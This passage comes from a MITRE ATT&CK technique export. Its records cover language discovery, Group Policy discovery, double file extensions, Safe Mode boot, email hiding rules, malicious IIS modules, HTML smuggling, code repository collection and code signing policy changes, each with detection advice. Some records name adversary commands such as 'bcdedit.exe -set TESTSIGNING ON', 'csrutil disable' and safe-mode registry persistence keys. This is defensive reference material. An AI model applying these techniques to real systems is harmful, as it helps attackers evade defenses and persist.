may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018) + +On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1614/001', 'external_id': 'T1614.001'}, {'source_name': 'Malware System Language Check', 'description': 'Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.', 'url': 'https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/'}, {'source_name': 'CrowdStrike Ryuk January 2019', 'description': 'Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.', 'url': 'https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/'}, {'source_name': 'Darkside Ransomware Cybereason', 'description': 'Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.', 'url': 'https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware'}, {'source_name': 'Securelist JSWorm', 'description': 'Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.', 'url': 'https://securelist.com/evolution-of-jsworm-ransomware/102428/'}, {'source_name': 'SecureList SynAck Doppelgänging May 2018', 'description': 'Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.', 'url': 'https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Harshal Tupsamudre, Qualys']","['Windows Registry: Windows Registry Key Access', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.",True,['User'],"['Windows', 'Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-08-06T13:10:12.916Z,2021-10-15T23:16:28.296Z,Group Policy Discovery,"Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\SYSVOL\\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) + +Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1615', 'external_id': 'T1615'}, {'source_name': 'TechNet Group Policy Basics', 'description': 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.', 'url': 'https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', 'url': 'https://adsecurity.org/?p=2716'}, {'source_name': 'Microsoft gpresult', 'description': 'Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult'}, {'source_name': 'Github PowerShell Empire', 'description': 'Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.', 'url': 'https://github.com/EmpireProject/Empire'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ted Samuels, Rapid7', 'Jonhnathan Ribeiro, 3CORESec, @_w0rk3r']","['Network Traffic: Network Traffic Content', 'Active Directory: Active Directory Object Access', 'Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup. + +Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.",False,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-08-04T20:54:03.066Z,2021-10-14T21:09:59.588Z,Double File Extension,"Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) + +Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension) + +Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/007', 'external_id': 'T1036.007'}, {'source_name': 'PCMag DoubleExtension', 'description': 'PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.', 'url': 'https://www.pcmag.com/encyclopedia/term/double-extension'}, {'source_name': 'SOCPrime DoubleExtension', 'description': 'Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.', 'url': 'https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/'}, {'source_name': 'Seqrite DoubleExtension', 'description': 'Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.', 'url': 'https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Metadata']",,"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)",True,,['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--28170e17-8384-415c-8486-2e6b294cb803,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-06-23T20:00:27.600Z,2021-08-31T14:51:47.352Z,Safe Mode Boot,"Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) + +Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) + +Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/009', 'external_id': 'T1562.009'}, {'source_name': 'Microsoft Safe Mode', 'description': 'Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.', 'url': 'https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234'}, {'source_name': 'Sophos Snatch Ransomware 2019', 'description': 'Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.', 'url': 'https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/'}, {'source_name': 'Microsoft bcdedit 2021', 'description': 'Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit'}, {'source_name': 'CyberArk Labs Safe Mode 2016', 'description': 'Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.', 'url': 'https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise'}, {'source_name': 'Cybereason Nocturnus MedusaLocker 2020', 'description': 'Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.', 'url': 'https://www.cybereason.com/blog/medusalocker-ransomware'}, {'source_name': 'BleepingComputer REvil 2021', 'description': 'Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/'}, {'source_name': 'Microsoft Bootcfg', 'description': 'Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jorell Magtibay, National Australia Bank Limited', 'Kiyohito Yamamoto, RedLark, NTT Communications', 'Yusuke Kubo, RedLark, NTT Communications']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution']","['Host Intrusion Prevention Systems', 'Anti-virus']","Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \* in front of the ""Startup"" value name: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[""\*Startup""=""{Path}""] or by adding a key to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019) + +Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)",True,['Administrator'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-06-07T13:20:23.767Z,2021-10-16T01:24:31.674Z,Email Hiding Rules,"Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule) + +Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account. + +Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/008', 'external_id': 'T1564.008'}, {'source_name': 'Microsoft Inbox Rules', 'description': 'Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.', 'url': 'https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59'}, {'source_name': 'MacOS Email Rules', 'description': 'Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.', 'url': 'https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac'}, {'source_name': 'Microsoft New-InboxRule', 'description': 'Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps'}, {'source_name': 'Microsoft Set-InboxRule', 'description': 'Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps'}, {'source_name': 'Microsoft Cloud App Security', 'description': 'Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.', 'url': 'https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154'}, {'source_name': 'Microsoft BEC Campaign', 'description': 'Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Dor Edry, Microsoft']","['File: File Modification', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. + +On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)",True,['User'],"['Windows', 'Office 365', 'Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-06-03T18:44:29.770Z,2021-10-17T15:06:24.161Z,IIS Components,"Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013) + +Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012) + +Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/004', 'external_id': 'T1505.004'}, {'source_name': 'Microsoft ISAPI Extension Overview 2017', 'description': 'Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)'}, {'source_name': 'Microsoft ISAPI Filter Overview 2017', 'description': 'Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)'}, {'source_name': 'IIS Backdoor 2011', 'description': 'Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.', 'url': 'https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html'}, {'source_name': 'Trustwave IIS Module 2013', 'description': 'Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.', 'url': 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/'}, {'source_name': 'Microsoft ISAPI Extension All Incoming 2017', 'description': 'Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)'}, {'source_name': 'Dell TG-3390', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.', 'url': 'https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage'}, {'source_name': 'MMPC ISAPI Filter 2012', 'description': 'MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.', 'url': 'https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx'}, {'source_name': 'Microsoft IIS Modules Overview 2007', 'description': 'Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.', 'url': 'https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview'}, {'source_name': 'ESET IIS Malware 2021', 'description': 'Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.', 'url': 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf'}, {'source_name': 'Unit 42 RGDoor Jan 2018', 'description': 'Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Wes Hurd'],"['File: File Creation', 'File: File Modification', 'Command: Command Execution']",,"Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\system32\inetsrv\config\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021) + +Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)",True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-05-20T12:20:42.219Z,2021-10-18T12:03:12.510Z,HTML Smuggling,"Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018) + +Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters. + +For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/006', 'external_id': 'T1027.006'}, {'source_name': 'HTML Smuggling Menlo Security 2020', 'description': 'Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.', 'url': 'https://www.menlosecurity.com/blog/new-attack-alert-duri'}, {'source_name': 'Outlflank HTML Smuggling 2018', 'description': 'Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.', 'url': 'https://outflank.nl/blog/2018/08/14/html-smuggling-explained/'}, {'source_name': 'MSTIC NOBELIUM May 2021', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/'}, {'source_name': 'nccgroup Smuggling HTA 2017', 'description': 'Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.', 'url': 'https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Stan Hegt, Outflank', 'Jonathan Boucher, @crash_wave, Bank of Canada']",['File: File Creation'],"['Web content filters', 'Anti-virus', 'Static file analysis']","Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives. + +Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",True,['User'],"['Windows', 'Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-05-11T18:51:16.343Z,2021-10-16T01:35:43.483Z,Code Repositories,"Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. + + +Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213/003', 'external_id': 'T1213.003'}, {'source_name': 'Wired Uber Breach', 'description': 'Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.', 'url': 'https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/'}, {'source_name': 'Krebs Adobe', 'description': 'Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.', 'url': 'https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itamar Mizrahi, Cymptom', 'Toby Kohlenberg', 'Josh Liburdi, @jshlbrd']","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.",True,['User'],['SaaS'],1.0,,,,,,, +attack-pattern,attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-23T01:04:57.161Z,2021-04-26T15:41:39.155Z,Code Signing Policy Modification,"Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP) Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014) -To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/006', external_id='T1553.006'), ExternalReference(source_name='Microsoft DSE June 2017', description='Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.', url='https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN'), ExternalReference(source_name='Apple Disable SIP', description='Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.', url='https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection'), ExternalReference(source_name='Microsoft Unsigned Driver Apr 2017', description='Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.', url='https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test'), ExternalReference(source_name='Microsoft TESTSIGNING Feb 2021', description='Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.', url='https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option'), ExternalReference(source_name='FireEye HIKIT Rootkit Part 2', description='Glyer, C., Kazanciyan, R. (2012, 